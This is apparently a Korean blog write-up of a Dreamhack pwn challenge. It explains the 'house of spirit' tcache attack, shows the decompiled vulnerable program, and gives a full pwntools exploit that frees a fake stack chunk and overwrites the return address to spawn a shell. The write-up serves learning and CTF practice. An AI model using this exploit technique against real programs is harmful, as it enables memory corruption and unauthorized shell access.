2023. 5. 28. 21:37ㆍdreamhack/pwn
house of spirit은 free함수를 통해 자신이 원하는 임의의 메모리를 해제할 수 있을 때
사용할 수 있는 공격 기법이다.
tcache는 속도 등 여러가지 이유로 보안 검사들이 많이 생략되어 있다.
그래서 stack에 실제 tcache 청크와 같은 구조를 가지는 청크를 구성하고
해당 영역을 free하면 stack 영역을 해제하여 tcache에 stack 영역을 넣을 수 있다.
그리고 ptmalloc은 비슷한 크기의 요청이 오면 재사용 한다는 특징이 있다.
이를 통해 stack 주소로 동적 할당을 받을 수 있다.
만약 해당 프로그램에서 동적 할당을 받은 뒤 그 할당받은 주소에 입력을 줄 수 있다면
bof가 발생할 수도 있고 그 프로그램의 지역변수 등을 바꿀 수 있다.
위 코드와 같이 data의 주소는 0x7ffee673a365로 스택 영역의 주소임에도 불구하고
free가 정상적으로 되어 tcache에 들어갔다. 그 이유는 청크의 구조와 똑같이 메모리에 구성을
해주고 free를 했기 때문에 청크로 인식을 한 것이다.
그리고 fake chunk의 size를 헤더 포함 0x30 크기로 해주었기 때문에
malloc 할 때 헤더를 제외한 크기인 0x20 크기의 힙을 할당 요청하면 ptmalloc은 비슷한 사이즈의
청크가 있다면 재사용 한다는 특징 이전에 tcache에 들어있던 스택 주소가 할당된다.
문제 풀이
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *ptr; // [rsp+0h] [rbp-40h] BYREF
int v5; // [rsp+8h] [rbp-38h] BYREF
int menu; // [rsp+Ch] [rbp-34h] BYREF
char name[44]; // [rsp+10h] [rbp-30h] BYREF
int v8; // [rsp+3Ch] [rbp-4h]
v5 = 0;
ptr = 0LL;
initialize(argc, argv, envp);
memset(name, 0, 0x20uLL);
printf("name: ");
read(0, name, 31uLL);
printf("%p: %s\n", name, name); // stack address
while ( 1 )
{
while ( 1 )
{
puts("1. create");
puts("2. delete");
puts("3. exit");
printf("> ");
__isoc99_scanf("%d", &menu);
if ( menu != 2 )
break;
printf("Addr: ");
__isoc99_scanf("%ld", &ptr);
free(ptr);
}
if ( menu == 3 )
break;
if ( menu == 1 )
{
if ( v8 > 10 )
return -1;
printf("Size: ");
__isoc99_scanf("%d", &v5);
*(&::ptr + v8) = malloc(v5);
if ( !*(&::ptr + v8) )
return -1;
printf("Data: ");
read(0, *(&::ptr + v8++), v5);
}
}
return 0;
}
공격 시나리오
코드를 보면 name의 주소를 출력해 주기 때문에 스택의 주소를 알아낼 수 있다.
그리고 자신이 원하는 값을 free 할 수 있기 때문에 house of spirit 기법을 사용할 수 있다.
name을 입력할 때 fake chunk의 구조로 입력을 해주고
name의 주소를 받아와 fake chunk의 data 부분의 주소를 구한다.
그리고 2번 메뉴를 통해 해당 data 부분을 free 해주어 그 주소가 tcache에 들어가도록 한다.
그리고 1번 메뉴로 해당 fake 청크와 같은 크기의 힙 할당을 요청하여 fake chunk 주소를 할당받도록 한다.
그다음 data에 read를 하는데 그때 ret을 get_shell 함수로 바꾸면 된다.
exploit
from pwn import *
context.log_level = "debug"
r = process("./house_of_spirit")
def create(size, data):
r.sendlineafter(b"> ", b'1')
r.sendlineafter(b"Size: ", str(size).encode())
r.sendafter(b"Data: ", data)
def delete(free_address):
r.sendlineafter(b"> ", b'2')
r.sendlineafter(b": ", str(free_address).encode())
def exit_func():
r.sendlineafter(b"> ", b'3')
input()
r.sendafter(b": ", p64(0) + p64(0x101))
name = int(r.recvuntil(b":")[:-1], 16)
fake_chunk_addr = name + 0x10
print("name:", hex(name))
delete(fake_chunk_addr)
payload = b'a' * 0x28 + p64(0x400940)
create(0xf0, payload)
exit_func()
r.interactive()
익스 코드를 실행시키고 gdb를 통해 free가 된 직후를 살표보면 0x7.....로 스택 영역이 free된 것을 확인 할 수 있을 것이다.
그리고 malloc 직후 다시 tcache를 보면 비어있다. 즉 free되어 있는 스택 주소가 할당된 것이다.
이걸로 ret overwrite만 해주면 쉘을 획득할 수 있다.
'dreamhack > pwn' 카테고리의 다른 글
[ Dreamhack ] __environ (0) | 2023.06.09 |
---|---|
[ Dreamhack ] environ (0) | 2023.06.09 |
ptmalloc2 (2) | 2023.05.26 |
[ Dreamhack ] Kind kid list (2) | 2023.05.23 |
[ Dreamhack ] STACK_AEG (2) | 2023.05.04 |